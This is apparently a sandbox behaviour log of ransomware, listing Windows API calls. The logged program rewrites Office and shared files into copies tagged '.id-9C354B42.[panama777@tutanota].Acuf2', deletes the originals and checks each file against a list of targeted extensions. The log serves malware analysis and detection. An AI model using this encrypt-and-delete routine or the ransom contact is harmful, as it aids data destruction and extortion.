	[0047.005] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=1800) returned 1
	[0047.005] CloseHandle (hObject=0x1bc) returned 1
	[0047.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20
	[0047.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0047.025] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.025] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0047.027] GetLastError () returned 0x0
	[0047.027] ReadFile (in: hFile=0x1a0, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x708, lpOverlapped=0x0) returned 1
	[0047.032] WriteFile (in: hFile=0x1fc, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x710, lpOverlapped=0x0) returned 1
	[0047.033] ReadFile (in: hFile=0x1a0, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0047.033] WriteFile (in: hFile=0x1fc, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xea, lpOverlapped=0x0) returned 1
	[0047.033] SetEndOfFile (hFile=0x1fc) returned 1
	[0047.033] CloseHandle (hObject=0x1fc) returned 1
	[0047.033] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.033] SetEndOfFile (hFile=0x1a0) returned 1
	[0047.034] CloseHandle (hObject=0x1a0) returned 1
	[0047.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0047.034] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 1
	[0047.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0047.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0047.035] lstrlenW (lpString=".doc") returned 4
	[0047.035] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0047.035] lstrlenW (lpString=".docx") returned 5
	[0047.035] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0047.035] lstrlenW (lpString=".pdf") returned 4
	[0047.035] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0047.035] lstrlenW (lpString=".xls") returned 4
	[0047.035] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0047.035] lstrlenW (lpString=".xlsx") returned 5
	[0047.035] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0047.035] lstrlenW (lpString=".ppt") returned 4
	[0047.035] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0047.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0047.035] lstrlenW (lpString=".zip") returned 4
	[0047.035] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0047.035] lstrlenW (lpString=".rar") returned 4
	[0047.035] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0047.035] lstrlenW (lpString=".bz2") returned 4
	[0047.035] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0047.035] lstrlenW (lpString=".7z") returned 3
	[0047.035] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0047.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0047.035] lstrlenW (lpString=".dbf") returned 4
	[0047.035] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0047.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0047.036] lstrlenW (lpString=".1cd") returned 4
	[0047.036] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0047.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0047.036] lstrlenW (lpString=".jpg") returned 4
	[0047.036] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0047.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0047.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0047.036] lstrlenW (lpString=".doc") returned 4
	[0047.036] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0047.036] lstrlenW (lpString=".docx") returned 5
	[0047.036] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0047.036] lstrlenW (lpString=".pdf") returned 4
	[0047.036] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0047.036] lstrlenW (lpString=".xls") returned 4
	[0047.036] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0047.036] lstrlenW (lpString=".xlsx") returned 5
	[0047.036] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0047.036] lstrlenW (lpString=".ppt") returned 4
	[0047.036] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0047.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0047.036] lstrlenW (lpString=".zip") returned 4
	[0047.036] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0047.036] lstrlenW (lpString=".rar") returned 4
	[0047.036] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0047.036] lstrlenW (lpString=".bz2") returned 4
	[0047.036] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0047.036] lstrlenW (lpString=".7z") returned 3
	[0047.036] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0047.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0047.036] lstrlenW (lpString=".dbf") returned 4
	[0047.037] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0047.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0047.037] lstrlenW (lpString=".1cd") returned 4
	[0047.037] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0047.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102
	[0047.037] lstrlenW (lpString=".jpg") returned 4
	[0047.037] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0047.037] lstrcmpiW (lpString1=".DAT", lpString2=".Acuf2") returned 1
	[0047.037] lstrlenW (lpString="STOCKS.DAT") returned 10
	[0047.037] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0047.039] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=39017) returned 1
	[0047.039] CloseHandle (hObject=0x1a0) returned 1
	[0047.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20
	[0047.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0047.039] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.039] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0047.040] GetLastError () returned 0x0
	[0047.040] ReadFile (in: hFile=0x1a0, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x9869, lpOverlapped=0x0) returned 1
	[0047.043] WriteFile (in: hFile=0x1fc, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x9870, lpOverlapped=0x0) returned 1
	[0047.044] ReadFile (in: hFile=0x1a0, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0047.044] WriteFile (in: hFile=0x1fc, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0047.044] SetEndOfFile (hFile=0x1fc) returned 1
	[0047.044] CloseHandle (hObject=0x1fc) returned 1
	[0047.044] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.045] SetEndOfFile (hFile=0x1a0) returned 1
	[0047.045] CloseHandle (hObject=0x1a0) returned 1
	[0047.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0047.046] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 1
	[0047.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0047.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0047.046] lstrlenW (lpString=".doc") returned 4
	[0047.046] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1
	[0047.046] lstrlenW (lpString=".docx") returned 5
	[0047.046] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1
	[0047.046] lstrlenW (lpString=".pdf") returned 4
	[0047.046] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1
	[0047.046] lstrlenW (lpString=".xls") returned 4
	[0047.046] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1
	[0047.046] lstrlenW (lpString=".xlsx") returned 5
	[0047.046] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1
	[0047.046] lstrlenW (lpString=".ppt") returned 4
	[0047.046] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1
	[0047.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0047.046] lstrlenW (lpString=".zip") returned 4
	[0047.047] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1
	[0047.047] lstrlenW (lpString=".rar") returned 4
	[0047.047] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1
	[0047.047] lstrlenW (lpString=".bz2") returned 4
	[0047.047] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1
	[0047.047] lstrlenW (lpString=".7z") returned 3
	[0047.047] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1
	[0047.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0047.047] lstrlenW (lpString=".dbf") returned 4
	[0047.047] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1
	[0047.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0047.047] lstrlenW (lpString=".1cd") returned 4
	[0047.047] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1
	[0047.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0047.047] lstrlenW (lpString=".jpg") returned 4
	[0047.047] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1
	[0047.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0047.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0047.047] lstrlenW (lpString=".doc") returned 4
	[0047.047] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1
	[0047.047] lstrlenW (lpString=".docx") returned 5
	[0047.047] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1
	[0047.047] lstrlenW (lpString=".pdf") returned 4
	[0047.047] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1
	[0047.047] lstrlenW (lpString=".xls") returned 4
	[0047.048] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1
	[0047.048] lstrlenW (lpString=".xlsx") returned 5
	[0047.048] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1
	[0047.048] lstrlenW (lpString=".ppt") returned 4
	[0047.048] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1
	[0047.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0047.048] lstrlenW (lpString=".zip") returned 4
	[0047.048] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1
	[0047.048] lstrlenW (lpString=".rar") returned 4
	[0047.048] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1
	[0047.048] lstrlenW (lpString=".bz2") returned 4
	[0047.273] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1
	[0047.273] lstrlenW (lpString=".7z") returned 3
	[0047.273] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1
	[0047.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0047.273] lstrlenW (lpString=".dbf") returned 4
	[0047.273] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1
	[0047.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0047.273] lstrlenW (lpString=".1cd") returned 4
	[0047.273] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1
	[0047.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78
	[0047.273] lstrlenW (lpString=".jpg") returned 4
	[0047.273] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1
	[0047.273] lstrcmpiW (lpString1=".htm", lpString2=".Acuf2") returned 1
	[0047.273] lstrlenW (lpString="Bears.htm") returned 9
	[0047.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0047.392] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=255) returned 1
	[0047.392] CloseHandle (hObject=0x170) returned 1
	[0047.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20
	[0047.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0047.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0047.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0047.393] lstrlenW (lpString=".doc") returned 4
	[0047.393] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0047.393] lstrlenW (lpString=".docx") returned 5
	[0047.393] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0047.393] lstrlenW (lpString=".pdf") returned 4
	[0047.393] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0047.393] lstrlenW (lpString=".xls") returned 4
	[0047.393] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0047.393] lstrlenW (lpString=".xlsx") returned 5
	[0047.393] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0047.393] lstrlenW (lpString=".ppt") returned 4
	[0047.393] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0047.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0047.393] lstrlenW (lpString=".zip") returned 4
	[0047.393] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0047.393] lstrlenW (lpString=".rar") returned 4
	[0047.393] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0047.393] lstrlenW (lpString=".bz2") returned 4
	[0047.393] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0047.394] lstrlenW (lpString=".7z") returned 3
	[0047.394] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0047.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0047.394] lstrlenW (lpString=".dbf") returned 4
	[0047.394] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0047.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0047.394] lstrlenW (lpString=".1cd") returned 4
	[0047.394] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0047.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0047.394] lstrlenW (lpString=".jpg") returned 4
	[0047.394] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0047.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0047.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0047.394] lstrlenW (lpString=".doc") returned 4
	[0047.394] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0047.394] lstrlenW (lpString=".docx") returned 5
	[0047.394] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0047.394] lstrlenW (lpString=".pdf") returned 4
	[0047.394] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0047.394] lstrlenW (lpString=".xls") returned 4
	[0047.394] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0047.394] lstrlenW (lpString=".xlsx") returned 5
	[0047.394] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0047.394] lstrlenW (lpString=".ppt") returned 4
	[0047.394] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0047.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0047.394] lstrlenW (lpString=".zip") returned 4
	[0047.394] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0047.394] lstrlenW (lpString=".rar") returned 4
	[0047.394] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0047.394] lstrlenW (lpString=".bz2") returned 4
	[0047.395] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0047.395] lstrlenW (lpString=".7z") returned 3
	[0047.395] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0047.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0047.395] lstrlenW (lpString=".dbf") returned 4
	[0047.395] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0047.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0047.395] lstrlenW (lpString=".1cd") returned 4
	[0047.395] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0047.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67
	[0047.395] lstrlenW (lpString=".jpg") returned 4
	[0047.395] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0047.395] lstrcmpiW (lpString1=".jpg", lpString2=".Acuf2") returned 1
	[0047.395] lstrlenW (lpString="Blue_Gradient.jpg") returned 17
	[0047.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0047.993] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=2575) returned 1
	[0047.993] CloseHandle (hObject=0x160) returned 1
	[0047.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20
	[0047.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0047.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0047.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0047.994] lstrlenW (lpString=".doc") returned 4
	[0047.994] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0047.994] lstrlenW (lpString=".docx") returned 5
	[0047.994] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1
	[0047.994] lstrlenW (lpString=".pdf") returned 4
	[0047.994] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0047.994] lstrlenW (lpString=".xls") returned 4
	[0047.994] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0047.994] lstrlenW (lpString=".xlsx") returned 5
	[0047.994] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1
	[0047.994] lstrlenW (lpString=".ppt") returned 4
	[0047.994] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0047.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0047.994] lstrlenW (lpString=".zip") returned 4
